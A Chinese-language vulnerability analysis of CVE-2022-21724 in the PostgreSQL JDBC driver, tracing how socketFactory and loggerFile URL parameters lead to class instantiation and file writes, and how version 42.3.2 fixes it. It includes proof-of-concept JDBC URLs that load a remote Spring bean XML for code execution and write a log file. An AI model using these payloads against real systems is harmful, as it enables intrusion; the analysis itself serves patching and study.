前言

无。


漏洞影响

9.4.1208 <= PgJDBC < 42.2.25

42.3.0 <= PgJDBC < 42.3.2

环境搭建

maven依赖:

<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.1</version>
</dependency>

漏洞分析

参考文章使用的测试用漏洞代码:

String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=" + socketFactoryClass + "&socketFactoryArg=" + socketFactoryArg;
DriverManager.getConnection(jdbcUrl);

感觉跟之前的很像JXPath漏洞的利用方式,应该是数据库连接过程中会有指定对象实例化的过程。

运行一下就可以看到找不到类的报错,定位到SocketFactoryFactory类的getSocketFactory函数:

String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info);
if (socketFactoryClassName == null) {
    return SocketFactory.getDefault();
}
try {
    return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true,
        PGProperty.SOCKET_FACTORY_ARG.get(info));
} catch (Exception e) {
    ...
}

调用ObjectFactory.instantiate函数实例化了输入的jdbc url中配置的工厂类:

@Nullable Object[] args = {info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);
try {
    ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException ignored) {
}
if (tryString && ctor == null) {
    try {
    ctor = cls.getConstructor(String.class);
    args = new String[]{stringarg};
    } catch (NoSuchMethodException ignored) {
    }
}
if (ctor == null) {
    ctor = cls.getConstructor();
    args = new Object[0];
}
return ctor.newInstance(args);

可以看到,这里在寻找构造函数的时候存在参数要求:

  • 参数为Properties

  • 或者参数为String

  • 或者无参

可利用的也没多少了。

漏洞利用

函数调用1

加上spring-context-support依赖,开启tomcat,xml就用JXPath同款就行,漏洞正常触发。

函数调用2

参数改成sslfactory和sslfactoryarg,看起来需要一个数据库服务端。

文件写

参数改成loggerLevel和loggerFile:

String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent = "test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=" + loggerLevel + "&loggerFile=" + loggerFile+ "&" + shellContent;
DriverManager.getConnection(jdbcUrl);

Postgres数据库引擎在解析完URL后建立连接前会调用setupLoggerFromProperties函数,其中会打开日志文件:

final String driverLogFile = PGProperty.LOGGER_FILE.get(exprProps);
...
java.util.logging.Handler handler = null;
if (driverLogFile != null) {
    try {
        handler = new java.util.logging.FileHandler(driverLogFile);
        loggerHandlerFile = driverLogFile;
    } catch (Exception ex) {
        ...
    }
}

没有目录校验,但是日志内容比较复杂,包括jdbc url,函数调用栈和异常等等。

漏洞修复

猜测修复方式是限制工厂类的类型,将postgresql依赖换成42.3.2版本的,会发现报错:

警告: JDBC URL contains too many / characters

找到org.postgresql.Driver类的parseURL函数,可以看到其对/出现的次数做了限制:

if (!urlServer.equals("//") && !urlServer.equals("///")) {
    if (urlServer.startsWith("//")) {
        urlServer = urlServer.substring(2);
        long slashCount = urlServer.chars().filter((ch) -> {
            return ch == 47;
        }).count();
        if (slashCount > 1L) {
            LOGGER.log(Level.WARNING, "JDBC URL contains too many / characters: {0}", url);
            return null;
        }
        ...
    }
    ...
}

除去开头的//外只能出现一次/,而端口和数据库名之间肯定要有一个/,所以参数里是肯定不能有/了,想从外面加载xml也就行不通了。

此时阅读代码可以发现,如果jdbc url的引擎后没有//,就会进入另一个代码块,那里面没有对/的次数限制,但是到了getSocketFactory调用构造函数时:

return (SocketFactory)ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, PGProperty.SOCKET_FACTORY_ARG.get(info));

多了一个SocketFactory.class的输入参数,后续加载类时:

Class cls = Class.forName(classname).asSubclass(expectedClass);

要求工厂类要是SocketFactory的子类,基本上已经修好了。


参考

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)